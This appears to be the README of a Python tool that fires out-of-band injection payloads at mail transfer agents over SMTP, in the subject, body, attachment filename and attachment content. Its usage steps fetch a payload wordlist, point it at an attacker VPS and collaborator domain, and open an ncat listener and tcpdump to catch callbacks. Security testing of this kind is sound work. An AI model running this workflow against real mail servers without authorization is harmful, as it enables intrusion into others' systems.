MTA_tester

Mail Transfer Agent OOB tester.

WHY?

Swaks could not handle the the payloads. Additionally, to have a template for interacting with SMTP using Python.

USAGE

• Set your VPS IP and DOMAIN COLLABORATOR to prepare a wordlist:

export vps_ip=
export domain_collab=
wget https://raw.githubusercontent.com/Karmaz95/crimson/master/words/exp/OOB
cat OOB|sed "s/domain_collab/$domain_collab/g"|sed "s/vps_ip/$vps_ip/g">oob.txt && rm OOB

• Run netcat listener in the second terminal:

sudo ncat -nklvp 80

• In the third terminal window start tcpdump:

sudo tcpdump icmp | tee -a tcpdump_oob.txt

TESTING SUBJECT HEADER

python MTA_tester.py -f "attacker@smtp.vps.com" -t "victim@gmail.com" -s "smtp.vps.com:25" -w oob.txt -i subject

TESTING BODY

python MTA_tester.py -f "attacker@smtp.vps.com" -t "victim@gmail.com" -s "smtp.vps.com:25" -w oob.txt -i body

TESTING FILE NAME

python MTA_tester.py -f "attacker@smtp.vps.com" -t "victim@gmail.com" -s "smtp.vps.com:25" -w oob.txt -i filename

TESTING FILE BODY

python MTA_tester.py -f "attacker@smtp.vps.com" -t "victim@gmail.com" -s "smtp.vps.com:25" -w oob.txt -i filebody